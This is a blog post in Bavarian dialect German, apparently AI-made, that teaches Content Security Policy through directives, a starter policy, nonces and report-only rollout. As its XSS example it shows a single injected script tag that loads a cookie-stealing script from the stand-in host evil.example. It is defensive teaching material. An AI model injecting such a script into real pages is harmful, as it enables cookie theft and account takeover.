Zruck zum Blog, du Zniachtl
Juni 2026·3 Min. zum LesnVo da KI gmocht

Content Security Policy (CSP) vastehn

#security#web#frontend

Content Security Policy is a Browser-Feature, des einschränkt, vo wo a Seitn Skripte, Styles, Bilder und ondere Ressourcen lodn darf - und es is oans von de wenigen Abwehrmechanismen, de wirklich hüft, nachdem a Angreifer scho gschafft hot, wos in deine Seitn einezuschmuggeln. Input escapen verhindert, dass XSS passiert; CSP begrenzt den Schadn, wenn's Escapen irgendwo versagt, wo du's übersehn host.

Wos Problem es eigentlich löst

Sogn ma, a Kommentarfeld auf deiner Seitn escapet Input ned richtig, und a Angreifer schickt:

<script src="https://evil.example/steal-cookies.js"></script>

Ohne CSP lauft des einfach, wenn der String jemals ungeescaped auf die Seitn kummt - des Skript wird mit vollem Zugriff auf de Seitn, Cookies und olles ausgführt, wos da eingloggte Nutzer tun kann. CSP repariert den Escape-Bug ned, aber es kann valhindern, dass des eingschleuste Skript überhaupt glodn wird, weil da Browser sich weigert, Skripte von Origins zu holn, de de Seitn ned explizit erlaubt hot.

Des is Defense in Depth, ka Ersatz fürs Beheben vom Injection-Bug - aber echte Anwendungen hom Injection-Bugs, von denen's no ned wissn, und CSP is oans von de wenigen Controls, de dann a no hüft.

Wia's ausgliefert wird

CSP is a Header, der mit da Antwort mitgschickt wird:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'

Man kann's a über a <meta>-Tag setzn, wobei da Header bevorzugt wird - a Meta-Tag kann den frühesten Teil vom Seitnaufbau ned obdecken und unterstützt monche Direktiven gor ned.

Direktiven: Quellenlisten pro Ressourcentyp

Jede Direktive kontrolliert a Art Ressource:

  • default-src - Fallback für jede Direktive, de ned explizit gsetzt is.
  • script-src - von wo JavaScript glodn wern darf.
  • style-src - von wo CSS glodn wern darf.
  • img-src - von wo Bilder glodn wern dürfn.
  • connect-src - erlaubte Ziele für fetch, XMLHttpRequest, WebSockets.
  • frame-ancestors - wer de Seitn in an <iframe> einbettn darf (da moderne Ersatz für den X-Frame-Options-Header).

A Quellenliste kann enthoitn:

  • 'self' - de eigene Origin vo da Seitn.
  • Bestimmte Origins - https://cdn.example.com.
  • 'none' - gor nix.
  • 'unsafe-inline' - erlaubt Inline-<script>/<style>-Blöcke und on*-Attribute. Speziell bei script-src vermeidn - es nimmt CSP fost den ganzen Sinn, weil genau des an eingschleusten Inline-<script>-Tag ausführn lasst.
  • 'unsafe-eval' - erlaubt eval(), new Function() und Ähnlichs. A zum Vermeidn.

A realistische Start-Policy

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' https://fonts.googleapis.com;
  font-src https://fonts.gstatic.com;
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  object-src 'none';

A poar davon brauchn a Erklärung:

  • object-src 'none' blockiert <object>/<embed>, historisch a Quelln für Flash-basierte XSS-Umgehungen. Blockier's, a wenn nix auf da Seitn es zu nutzn scheint.
  • base-uri 'self' verhindert, dass a Angreifer a <base>-Tag einschmuggelt, des still und heimlich umschreibt, wohin olle deine relativen URLs (a die Skript-src-Attribute) tatsächlich zeigen.
  • img-src 'self' data: https: is absichtlich lockerer ois der Rest - Bilder sand a viel risikoärmerer Ressourcentyp, und do strikt zum sei bricht meistens nur legitimen Content, ohne die Sicherheit merklich zum verbessern.

Inline-Skripte ohne unsafe-inline: Nonces

Echte Anwendungen brauchn oft irgendwelche Inline-Skripte - Analytics-Snippets, serverseitig gerenderte Konfigurationsobjekte. A Nonce (a Zufallswert, der pro Request frisch generiert wird) lasst dich bestimmte Inline-Skripte erlauben, ohne olle zu erlaubn:

Content-Security-Policy: script-src 'self' 'nonce-8f3jd92kfmz'
<script nonce="8f3jd92kfmz">
  window.__CONFIG__ = { userId: 42 };
</script>

A Angreifer, der <script> in deine Seitn einschleust, hot koane Chance, die Nonce vom aktuellen Request zu wissn - sie wird bei jeder Antwort serverseitig neu erzeugt -, drum wird sein Skript trotzdem blockiert, während dein legitimes Inline-Skript (mit da passenden Nonce) lauft.

Einführn, ohne dei eigene Seitn zum kaputt machen

CSP direkt ois erzwungene Policy auf a echte Anwendung zum deployn bricht meistens wos, von dem du ned gwusst host, dass's do is - a Drittanbieter-Widget, des a Skript von ana Origin lodt, die du in da Allowlist vagessn host, a Inline-onclick-Handler von vor Joarn. Im Report-Only-Modus findst des, ohne wirklich wos zu blockiern:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations

Da Browser wertet de Policy aus und schickt an JSON-Report an report-uri für olles, wos blockiert worn wär, blockiert aber nix. Lass ihn a Weile im Report-Only laufn, behebe, wos in den Reports auftaucht, und wechsl dann auf den erzwingenden Header, wenn de Violation-Reports ruhig wern.

app.post('/csp-violations', express.json({ type: 'application/csp-report' }), (req, res) => {
  console.warn('CSP violation:', req.body['csp-report']);
  res.status(204).end();
});

Fazit

CSP fängt ned jeden XSS-Vektor, und a Policy mit 'unsafe-inline' in script-src bietet fost nix von dem Schutz, den de Leit annehmen. Aber a echte, restriktive Policy - koa unsafe-inline, koa unsafe-eval, a explizite Allowlist an Skript-Origins - macht aus "Angreifer hot an Injection-Punkt gfunden" statt "volle Skriptausführung auf deiner Seitn" ein "Browser weigert si still, es auszuführn". Des is a bedeutender Rückhalt für de Injection-Bugs, de du no ned gfunden host - also de, de am meisten zähln.

NeicherA Rate-Limiter-Middleware in Express bauenElterA einfache Job-Queue mit Redis bauen